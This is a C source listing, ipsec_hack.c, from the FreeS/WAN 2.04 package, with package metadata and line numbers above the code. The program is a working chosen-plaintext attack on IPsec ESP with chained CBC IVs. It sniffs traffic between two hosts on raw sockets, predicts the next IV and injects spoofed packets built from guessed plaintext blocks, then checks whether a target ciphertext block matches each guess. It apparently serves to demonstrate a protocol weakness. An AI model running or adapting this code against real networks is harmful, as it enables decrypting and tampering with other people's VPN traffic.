File: ipsec_hack.c

package info (click to toggle)
freeswan 2.04-11.3
  • links: PTS
  • area: main
  • in suites: sarge
  • size: 23,340 kB
  • ctags: 12,260
  • sloc: ansic: 72,499; sh: 14,497; asm: 3,312; perl: 3,153; xml: 2,961; makefile: 2,702; tcl: 620; exp: 612; pascal: 228; sed: 206; awk: 124; lisp: 3
file content (571 lines) | stat: -rw-r--r-- 13,350 bytes parent folder | download | duplicates (5)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
#include "ipsec_hack.h"

int listen_s;
int send_s;
struct sockaddr listen_sockaddr;
struct sockaddr send_sockaddr;
option_data *odata;

int make_a_dummy_packet(struct iphdr *ipH) {
	ipH->version = 4;
	ipH->ihl = 5;
	ipH->tos = 0;
	ipH->tot_len = htons(80);
	ipH->id = 0x0123;
	ipH->frag_off = 0x0000;
	ipH->protocol = 17;
	ipH->ttl = 0xf0;
	return 1;
}

void update_the_guess(option_data *opt) {
	opt->guess[0] += 1;

} 

u8 send_test_packet(struct iphdr *ipH, option_data *opt) {
	u8 *buf;
	u8 *t;
	struct ethhdr *ethh;
	int res, send_length,i;

	
	send_length = (htons(ipH->tot_len) + 14);
	buf = (u8 *)malloc(send_length);
	if (send_length > 255)
		printf("over 255\n");

	ethh = (struct ethhdr *)buf;

	memcpy(ethh->h_dest, opt->dmac, 6);
	memcpy(ethh->h_source, opt->smac, 6);

	ethh->h_proto = htons(0x0800);

	memcpy((&buf[14]), (u8 *)ipH, htons(ipH->tot_len));

	if (opt->verbose == 2) {
		for (i = 1; i <= htons(ipH->tot_len); i++)
			printf("%02x%s",buf[i-1], (i % 16 == 0 ? "\n" : " "));
	}	

	

	res = sendto (send_s, buf, send_length, 0, &send_sockaddr, sizeof(send_sockaddr));
	free(buf);
	if (res < 0) {
		perror ("sendto");
		exit(1);
	}
	

	fflush(stdout);

	return 1;
}


int make_a_guess(u8 *guess, u8 *iv, u8 *old_iv, u8 *iph, option_data *opt) {
	u8 needed_block[8];
	int i;
	u16 u16_tmp;
	struct iphdr *ipH;	

	for (i = 0; i < 8; i++)
		needed_block[i] = (*(guess+i))^(*(iv+i))^(*(old_iv+i));

	/* Next step is to make a sanity check. needed_block 
	   must fit into a IP header (for the routing attack) */
	ipH = (struct iphdr *)needed_block;

	if (ipH->version != 4) 
		return -1;


	if (ipH->ihl != 5)
		return -1;

	if (htons(ipH->tot_len) < 20)
		return -1;

	if (htons(ipH->tot_len) > 1500)
		return -1;

	if (opt->rsv_bit && needed_block[6]&0x80) /* Reserved flag */
		return -1;

	if (needed_block[6]&0x40) /* Do not fragment */
		return -1;
	
	if ((((ipH->frag_off & 0x1FFF) << 3) + htons(ipH->tot_len)) > 65536) {
/*		if (opt->verbose > 1)*/
			printf("Fragment offset plus tot_len over 65536\n");
		return -1;
	}

	if (opt->verbose == 1)
		printf("guess length = %i\n",u16_tmp);

	/*
	if ((needed_block[0]&0xf0)>>4 != 4)
		return -1;

	if ((needed_block[0]&0x0f) != 5)
		return -1;

	u16_tmp = (needed_block[2]<<8) + needed_block[3];




	if (u16_tmp < ((needed_block[0]&0x0f)<<2) || u16_tmp > 1500)
		return -1;
	*/
	/* Now the block has passed as a part of the packet. Create the
	   rest of the packet. */


	memcpy(iph, needed_block, 8);

	return 1;

}



void user_ipv4_handler(u8 *packet, option_data *opt) {
	struct iphdr *ipH;
	struct udphdr *udpH;
	struct ethhdr *ethh;
	EspHeader *espH;
	u8 buf[1540];
	u8 last_block[8];    /* first ciphertext block */
	int i, res;
	int p_len;
	int send_length;

	ethh = (struct ethhdr *)packet;
	ipH = (struct iphdr *)(packet + 14);

	if (opt->verbose > 2)
		printf("received packet\n\n");

	if (ethh->h_proto != 0x0008)
		return;


	/* Check the addresses and spi*/
	if (htonl(ipH->saddr) != opt->src_address ||
	    htonl(ipH->daddr) != opt->dst_address) {
		if (opt->verbose > 1)
			printf("Wrong hosts\n");

		return;
	}


	/*printf("%x -> %x\n", htonl(ipH->source), htonl(ipH->dest));*/

	fflush(stdout);


	if (ipH->protocol != 50) { /* Not an ESP packet */
		if (opt->verbose)
			printf("not an ESP packet\n");
		return;
	}



	/* We have ESP packet. check the spi */
	espH = (EspHeader *)(((u8 *)ipH) + (ipH->ihl<<2));

	/* IF spi is zero and monitorin is enabled, 
	   record spi from first ipsec packet */


	if (opt->spi == 0) {
		opt->spi = htonl(espH->spi);
		printf("Locked to SPI=0x%08x\n",opt->spi);
	}

	if (opt->spi != 0 && htonl(espH->spi) != opt->spi) {
/*		nli_timer_stop(spi_change_timer);
		nli_timer_start(spi_change_timer);*/
		if (opt->verbose > 1)
			printf("Wrong SPI %08x\n",espH->spi);
		return;
	}	


	opt->spi_last_seen = time(NULL);

	if (((opt->packet_counter) % (opt->packet_print_intervall)) == 0)
		printf("Packet counter = %i, time elapsed %i s\n", 
		       opt->packet_counter, (opt->spi_last_seen - opt->start_time));


	p_len = htons(ipH->tot_len);


	if (opt->state == send_done) {
		if ((p_len >= opt->ap_len) 
		    && (p_len <= (opt->ap_len - opt->ap_overhead))) {
			printf("Attack packet length not in limits!\n");
			printf("Attack packet = %i, crypted = %i\n",opt->ap_len, p_len);
				
		}
		printf("comparing esp iv ");
		for (i = 0; i < 8; i++)
			printf("%x ", espH->iv[i]);

		printf("\n last iv ");
		for (i = 0; i < 8; i++)
			printf("%x ", opt->last_iv[i]);
		printf("\n");

		if (memcmp(espH->iv, opt->last_iv, 8) == 0) {
			printf("iv prediction ok, comparing first ciphertext block\n");

			/* iv prediction ok, compare first ciphertext block */
			memcpy(last_block, espH->payloaddata, 8);
			
			
			if (memcmp(last_block, opt->block_to_crack, 8) == 0) {
				printf("correct guess!!!\n\n");
				printf("ciphertext\n");
				for (i = 0; i < 8; i++)
					printf("%02x ", last_block[i]);
				printf("\nguess\n");
				for (i = 0; i < 8; i++)
					printf("%02x ", opt->guess[i]);
				printf("\nPacket counter %i\n",opt->packet_counter);
				printf("Guess counter %i\n",opt->guess_counter);
				printf("Total time %i\n",(time(NULL) - opt->start_time)); 
				exit(1);
			} else {
				printf("incorrect guess, updating guess\n");
				update_the_guess(opt);
				printf("guess\n");
				for (i = 0; i < 8; i++)
					printf("%x ", opt->guess[i]);
				printf("\n");
			}
		} 
	}

	if (memcmp(espH->iv, opt->last_iv, 8) != 0 && opt->last_iv[0] != 0) {
		printf("IPsec is not chaining IV's between packets\n --> exiting\n\n");
		exit(0);
	}

	memcpy(opt->last_iv, ((u8 *)ipH)+p_len-20, 8); 


	/* Now we have packet -> crate an attemp packet */

	ipH = (struct iphdr *)buf;
	
	/*
	 * guess=guessed plaintext,
	 * last_iv=last ciphertext of THIS packet,
	 * original_iv=ciphertext block preceding the victim block
	 */
	if (make_a_guess(opt->guess, opt->last_iv, opt->original_iv, (u8 *)ipH, opt) == -1) {
		if (opt->verbose > 1)
			printf("Unable to crate guess block\n");
		make_a_dummy_packet(ipH);
		opt->state = init;
		ipH->protocol = 17;
	} else {
		printf("packet lenght %i\n",ntohs(ipH->tot_len));
		printf("created a guess block  plaintext=");
		for(i = 0; i < 8; i++) {
			printf("%02x", (int) opt->guess[i]);
		}
		
		printf("  whole packet=\n");
		for(i = 0; i < ntohs(ipH->tot_len); i++) {
			printf("%02x%s", (int) buf[i], (i % 16 == 15? "\n": " "));
		}
		printf("\n");

		opt->guess_counter++;
		printf("Guess counter = %i\n",opt->guess_counter);
		opt->state = send_done;

		ipH->protocol = 50;
		opt->ap_len = htons(ipH->tot_len);
	}
	
	opt->packet_counter++;
	ipH->saddr = htonl(opt->fake_src_address);
	ipH->daddr = htonl(opt->fake_dst_address);
	ipH->ttl = 225;


	udpH = (struct udphdr *)(((u8 *)ipH) + (ipH->ihl << 2));
	udpH->source = htons(10001);
	udpH->dest = htons(10000);
	udpH->len = htons((htons(ipH->tot_len)) - (ipH->ihl << 2));
	udpH->check = 0;

	ipH->check = 0;
	ipH->check = ipheader_checksum((u16 *)ipH,ipH->ihl<<1);

	
	send_test_packet(ipH, opt);

}

void send_keepalive_packet(option_data *opt) {
	u8 buf[1540];
	struct iphdr *ipH;
	struct udphdr *udpH;
	int i, len;

	ipH = (struct iphdr *)buf;
	make_a_dummy_packet(ipH);

	ipH->saddr = htonl(opt->fake_src_address);
	ipH->daddr = htonl(opt->fake_dst_address);

	ipH->ttl = 225;
	ipH->protocol = 17; /* UDP */

	udpH = (struct udphdr *)(((u8 *)ipH) + (ipH->ihl << 2));
	udpH->source = htons(10001);
	udpH->dest = htons(10000);
	udpH->len = htons((htons(ipH->tot_len)) - (ipH->ihl << 2));
	udpH->check = 0;

	ipH->check = 0;
	ipH->check = ipheader_checksum((u16 *)ipH,(ipH->ihl<<1));



	opt->state = init;
	send_test_packet(ipH, opt);
	
}

static
void user_signal_handler(int signum)
{

        switch (signum) {
        case SIGINT:
                fprintf(stderr, "Signal SIGINT received, exiting.\n\n");
		printf("Packet counter %i\n",odata->packet_counter);
		printf("Guess counter %i\n",odata->guess_counter);
		printf("Total time %i\n",(time(NULL) - odata->start_time));
                break;
        case SIGTERM:
                fprintf(stderr, "Signal SIGTERM received, exiting.\n\n");
		printf("Packet counter %i\n",odata->packet_counter);
		printf("Guess counter %i\n",odata->guess_counter);
		printf("Total time %i\n",(time(NULL) - odata->start_time));
                break;
                /*case SIGPIPE:*/
        default:
                fprintf(stderr, "Unknown signal %d received, exiting.\n\n", 
			 signum);
        }

        
        exit(0);
}



int main(int argc, char *argv[]) {
	option_data options = {0};
	fd_set rfds;
	struct timeval tv;
	int dmac_set = 0;
	int len;
	struct ifreq ifr;
	int i;
	int res;
	u8 buffer[BUFSIZE];
	time_t time_now;
	struct arpreq arpr;



	odata = &options;

	options.spi_wait_time = 10;
	options.packet_print_intervall = 1000;
	options.ap_overhead = 44;
	options.rsv_bit = 1;

	read_arguments(argc, argv, &options);


	for (i = 0; i < 6; i++) {
		if (options.dmac[i] != 0x00)
			dmac_set = 1;
	}

	if (!dmac_set) {
		printf("Error! Destination mac must be set\n");
		exit(0);
	}
		

	printf("Listening traffic between ");
	ipv4_print_address(htonl(options.src_address));
	printf(" and ");
	ipv4_print_address(htonl(options.dst_address));
	printf(" using fake IP src address ");
	ipv4_print_address(htonl(options.fake_src_address));
	printf("\n");
	printf(" using fake IP dst address ");
	ipv4_print_address(htonl(options.fake_dst_address));
	printf("\n");
	printf("Reserved bit check is %s\n",(options.rsv_bit ? "ON":"OFF"));
	printf("Verbose mode %i\n",options.verbose);
	printf("SPI change detection is %s\n",(options.spi_change_detection ? "ON":"OFF"));


	printf("Block to crack is ");
	for (i = 0; i < 6; i++)
		printf("%02x%s",options.block_to_crack[i],(i == 5 ? "\n" : ":"));
	printf("Initial guess is ");
	for (i = 0; i < 6; i++)
		printf("%02x%s",options.guess[i],(i == 5 ? "\n" : ":"));
	printf("Original IV is ");
	for (i = 0; i < 6; i++)
		printf("%02x%s",options.original_iv[i],(i == 5 ? "\n" : ":"));
	if (options.spi == 0x00000000) 
		printf("SPI not set -> taking SPI from first ESP packet\n");
	else
		printf("SPI 0x%08x\n",options.spi);


	
	/* Open socket for sending and listening */
	listen_s = socket(AF_INET, SOCK_PACKET, htons (ETH_P_ALL));
	if (listen_s < 0) {
		perror ("socket");
		exit(1);
	}
	
	/* get local ethernet address. */
	len = sizeof(listen_sockaddr);
	bzero(&listen_sockaddr, len);
	listen_sockaddr.sa_family = AF_INET;
	strcpy(listen_sockaddr.sa_data, options.listen_if);

	bzero (&ifr, sizeof(ifr));
	strcpy (ifr.ifr_name, options.listen_if);
	if (ioctl (listen_s, SIOCGIFHWADDR, &ifr) < 0) {
		perror ("ioctl(SIOCGIFHWADDR)");
		exit(1);
	}
	printf ("local address in listen socket: %s is ", options.listen_if);
	for (i = 0; i < 6; i++) {
		printf ("%02x%s", (ifr.ifr_hwaddr.sa_data [i]) & 0xff,
			(i == 5) ? "" : ":");
	}
	printf (", address family 0x%x%s\n", ifr.ifr_hwaddr.sa_family,
		(ifr.ifr_hwaddr.sa_family == ARPHRD_ETHER) ? " (ethernet)" : "");
	
	/* Now the send if */
	send_s = socket(AF_INET, SOCK_PACKET, htons (ETH_P_ALL));
	if (send_s < 0) {
		perror ("socket");
		exit(1);
	}
	
	/* get local ethernet address. */
	len = sizeof(send_sockaddr);
	bzero(&send_sockaddr, len);
	send_sockaddr.sa_family = AF_INET;
	strcpy(send_sockaddr.sa_data, options.send_if);

	bzero (&ifr, sizeof(ifr));
	strcpy (ifr.ifr_name, options.send_if);
	if (ioctl (send_s, SIOCGIFHWADDR, &ifr) < 0) {
		perror ("ioctl(SIOCGIFHWADDR)");
		exit(1);
	}
	
/*	bzero (&arpr, sizeof(arpr));
	arpr.arp_pa.sa_family = AF_INET;
	memcpy(arpr.arp_pa.sa_data, (u8 *)&options.gw, 4);
	strcpy(arpr.arp_dev, options.send_if);
	if (ioctl (send_s, SIOCGARP, &arpr) < 0) {
		perror ("ioctl(SIOCGARP)");
		exit(1);
	}
*/

	for (i = 0; i < 6; i++)
		options.smac[i] = ifr.ifr_hwaddr.sa_data[i];

	printf ("local address in send socket: %s is ", options.send_if);
	for (i = 0; i < 6; i++) {
		printf ("%02x%s", (options.smac[i]) & 0xff,
			(i == 5) ? "" : ":");
	}
	printf (", address family 0x%x%s\n", ifr.ifr_hwaddr.sa_family,
		(ifr.ifr_hwaddr.sa_family == ARPHRD_ETHER) ? " (ethernet)" : "");

        if (signal(SIGINT, user_signal_handler) == SIG_ERR ||
            signal(SIGTERM, user_signal_handler) == SIG_ERR) {
                fprintf(stderr, "Error in setting a signal handler!\n");
                return -1;
        }

	/*  */
	options.state = init;
	
	FD_ZERO(&rfds);
	FD_SET(listen_s,&rfds);

	options.start_time = time(NULL);
	
	options.spi_last_seen = time(NULL);
	while(1) {
		FD_ZERO(&rfds);
		FD_SET(listen_s,&rfds);
		tv.tv_sec = 0;
		tv.tv_usec = 500000;
		len = sizeof(listen_sockaddr);		
		res = 0;
		
		res = select((listen_s + 1), &rfds, NULL, NULL, &tv);
		if (res) { 
			res = recvfrom(listen_s, buffer, BUFSIZE, 0, &listen_sockaddr, &len);
			if (res < 0) {
				perror ("recvfrom");
				exit(1);
			}

			user_ipv4_handler(buffer, &options);		
			if (options.spi_change_detection) {
				time_now = time(NULL);
				if ((time_now - options.spi_last_seen) > 
				    options.spi_wait_time && options.spi_last_seen != 0) {
					printf("SPI not seen for %i seconds\n", options.spi_wait_time);
					exit(0);
				}
			}

			
		} else {
			if (options.state == send_done) {
				printf("senddoneK\n");
			
			}
			if (options.verbose) 
				printf("Sending a keepalive packet\n");
			send_keepalive_packet(&options);
		}
		
	}

	return 1;
}